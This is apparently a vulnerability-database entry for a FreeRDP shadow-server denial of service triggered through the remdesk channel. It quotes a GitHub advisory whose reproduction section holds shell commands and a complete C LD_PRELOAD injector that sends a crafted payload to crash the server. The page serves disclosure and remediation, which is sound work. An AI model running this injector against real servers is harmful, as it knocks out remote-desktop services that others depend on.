FreeRDP shadow server abort via authenticated remdesk payload assertion
Key facts
- Attack vector
- Network
- Privileges required
- Low
- User interaction
- None
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-x8vp-ff7m-294g. Fix status from GitHub. Impact type from CWE-617.
Summary
FreeRDP through 3.32.1 is affected. An authenticated RDP client can join the remdesk static virtual channel of a FreeRDP shadow server and send a crafted payload whose declared PDU length is smaller than the data sent. An inverted completeness check in remdesk_server_thread leaves the stream at capacity, and a later Stream_Seek triggers a WinPR assertion (CWE-617) that aborts default assertion-enabled builds and drops their sessions. The impact is availability loss, and the server enables remdesk only after an authenticated client joins the channel.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
An authenticated RDP client can join the `remdesk` static virtual channel of a FreeRDP shadow server and send an 8192-byte payload whose first eight bytes declare a total PDU length of eight. `remdesk_server_thread` reads into a fixed 4096-byte stream and increments its position with `Stream_Seek`. Its framing condition, `PduLength >= Stream_GetPosition(s)`, is inverted: after the first 4096-byte read of the malformed payload, the condition is false and the stream remains at capacity. The second read overwrites the allocation base safely, but the subsequent `Stream_Seek` sees no remaining capacity and triggers a fatal WinPR assertion. This aborts default assertion-enabled shadow-server builds and drops their sessions. The server enables remdesk only after an authenticated client joins the channel. The observed impact is availability loss; independent source and ASan checks found no out-of-bounds write or parser over-read. Source inspection found the same loop in FreeRDP 3.32.0. A fix must correct the completeness comparison and also manage buffer capacity across fragmented PDUs. ### Reproduction The malformed remdesk payload is sent over an authenticated static channel. ```sh export FREERDP_SOURCE=/path/to/FreeRDP export FREERDP_BUILD=/path/to/FreeRDP-build cc -shared -fPIC -O1 -g -o remdesk_attack_preload.so remdesk_attack_preload.c \ -I"$FREERDP_SOURCE/include" -I"$FREERDP_SOURCE/winpr/include" \ -I"$FREERDP_BUILD/include" -I"$FREERDP_BUILD/winpr/include" -ldl -pthread DISPLAY=:99 ./server/shadow/cli/freerdp-shadow-cli \ /bind-address:127.0.0.1 /port:3354 /sam-file:./SAM /log-level:INFO LD_PRELOAD="$PWD/remdesk_attack_preload.so" REMDESK_ATTACK_SIZE=8192 \ REMDESK_ATTACK_DELAY_MS=2500 REMDESK_ATTACK_SENDS=4 \ xfreerdp /v:127.0.0.1:3354 /u:TESTUSER /p:TESTPASSWORD \ /cert:ignore /size:800x600 /vc:remdesk /log-level:ERROR ``` ```c /* * Authenticated remdesk client-channel injector. * Sends an 8192-byte payload with an all-zero eight-byte PDU header. * The server copies each read to the same 4096-byte stream base; a second * Stream_Seek at position 4096 triggers the capacity assertion. */ #define _GNU_SOURCE #include <dlfcn.h> #include <pthread.h> #include <stdarg.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #include <freerdp/client.h> #include <freerdp/client/remdesk.h> #include <freerdp/event.h> #include <freerdp/svc.h> #include <winpr/stream.h> /* * Mirror of the documented prefix of * channels/remdesk/client/remdesk_main.h (remdeskPlugin). Only the fields up * to OpenHandle are accessed. The layout is verified against the real header: * CHANNEL_DEF channelDef; * CHANNEL_ENTRY_POINTS_FREERDP_EX channelEntryPoints; * RemdeskClientContext* context; * HANDLE thread; * wStream* data_in; * void* InitHandle; * DWORD OpenHandle; */ typedef struct { CHANNEL_DEF channelDef; CHANNEL_ENTRY_POINTS_FREERDP_EX channelEntryPoints; RemdeskClientContext* context; HANDLE thread; wStream* data_in; void* InitHandle; DWORD OpenHandle; } remdeskPluginPrefix; static remdeskPluginPrefix* g_plugin = NULL; static volatile int g_done = 0; static unsigned char* g_payload = NULL; static void logmsg(const char* fmt, ...) { char buf[512]; int n; va_list ap; va_start(ap, fmt); n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); if (n > 0) (void)write(STDERR_FILENO, buf, (size_t)n); } static long env_long(const char* name, long def) { const char* v = getenv(name); if (!v || !*v) return def; return strtol(v, NULL, 0); } static void sleep_ms(long ms) { struct timespec ts; ts.tv_sec = ms / 1000; ts.tv_nsec = (ms % 1000) * 1000000L; while (nanosleep(&ts, &ts) < 0) ; } static void* attack_thread(void* arg) { remdeskPluginPrefix* p = (remdeskPluginPrefix*)arg; const long size = env_long("REMDESK_ATTACK_SIZE", 8192); const long delay_ms = env_long("REMDESK_ATTACK_DELAY_MS", 2000); const long sends = env_long("REMDESK_ATTACK_SENDS", 4); unsigned long ok = 0, err = 0; long i; logmsg("[remdesk-attack] thread up: plugin=%p InitHandle=%p OpenHandle=%u size=%ld\n", (void*)p, p->InitHandle, (unsigned)p->OpenHandle, size); sleep_ms(delay_ms); for (i = 0; i < sends; i++) { UINT status; if (g_done) break; if (!p->OpenHandle) { logmsg("[remdesk-attack] OpenHandle still 0, retrying\n"); sleep_ms(500); continue; } status = p->channelEntryPoints.pVirtualChannelWriteEx(p->InitHandle, p->OpenHandle, g_payload, (ULONG)size, NULL); if (status == CHANNEL_RC_OK) { ok++; logmsg("[remdesk-attack] write %ld ok: %ld bytes on remdesk channel\n", i, size); } else { err++; logmsg("[remdesk-attack] write %ld failed: rc=0x%08x\n", i, status); } sleep_ms(1000); } logmsg("[remdesk-attack] thread exiting: ok=%lu err=%lu\n", ok, err); return NULL; } void freerdp_client_OnChannelConnectedEventHandler(void* context, const ChannelConnectedEventArgs* e) { typedef void (*connected_fn)(void*, const ChannelConnectedEventArgs*); static connected_fn real = NULL; RemdeskClientContext* ctx = NULL; remdeskPluginPrefix* p = NULL; pthread_t thread; if (!real) real = (connected_fn)dlsym(RTLD_NEXT, "freerdp_client_OnChannelConnectedEventHandler"); if (real) real(context, e); if (!e || !e->name || (strcmp(e->name, "remdesk") != 0) || !e->pInterface) return; ctx = (RemdeskClientContext*)e->pInterface; p = (remdeskPluginPrefix*)ctx->handle; logmsg("[remdesk-attack] remdesk connected: ctx=%p handle=%p\n", (void*)ctx, ctx->handle); if (!p) return; g_plugin = p; { const long size = env_long("REMDESK_ATTACK_SIZE", 8192); if (size > 4096) { g_payload = (unsigned char*)calloc(1, (size_t)size); if (g_payload) { /* first 8 bytes stay zero: ChannelNameLen = 0, DataLength = 0 * => declared total PduLength = 8 < 4096 buffered bytes */ memset(g_payload, 0x41, (size_t)size); memset(g_payload, 0, 8); } } } if (!g_payload) { logmsg("[remdesk-attack] payload allocation failed\n"); return; } if (pthread_create(&thread, NULL, attack_thread, p) == 0) pthread_detach(thread); else logmsg("[remdesk-attack] pthread_create failed\n"); } void freerdp_client_OnChannelDisconnectedEventHandler(void* context, const ChannelDisconnectedEventArgs* e) { typedef void (*disconnected_fn)(void*, const ChannelDisconnectedEventArgs*); static disconnected_fn real = NULL; if (!real) real = (disconnected_fn)dlsym(RTLD_NEXT, "freerdp_client_OnChannelDisconnectedEventHandler"); if (real) real(context, e); if (e && e->name && (strcmp(e->name, "remdesk") == 0)) { g_done = 1; logmsg("[remdesk-attack] remdesk disconnected\n"); } } ``` In preserved isolated runs of the assessed 3.32.1-dev0 revision, the client logged `remdesk connected` and `write 0 ok: 8192 bytes`. Both stock and ASan shadow processes exited with status 134 and logged the `Stream_Seek` remaining-capacity assertion. The ASan run did not report an out-of-bounds write; the copy destination is the stream allocation base. A full binary test of 3.32.0, Windows shadow, and assert-disabled builds was not performed. Source review shows that an assert-disabled `NDEBUG` build reaches a guarded channel error rather than this abort. **Impact:** Authenticated remote denial of service of a FreeRDP shadow-server process. No confidentiality, integrity, memory-corruption, or code-execution effect was demonstrated. **Remediation:** Bound and validate the declared PDU length, buffer until complete, read into remaining stream space while growing or compacting as required, and reject malformed lengths without assertions. Test fragmented valid PDUs and malformed short-length PDUs.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <=3.32.1 | 3.32.2 | Patch available | GHSA-x8vp-ff7m-294g |
- FreeRDP (c) Vendor— Affected <=3.32.1 Fixed in 3.32.2 Patch available GHSA-x8vp-ff7m-294g
Remediation
Upgrade FreeRDP to 3.32.2, which fixes the issue.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-x8vp-ff7m-294g FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-x8vp-ff7m-294g
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences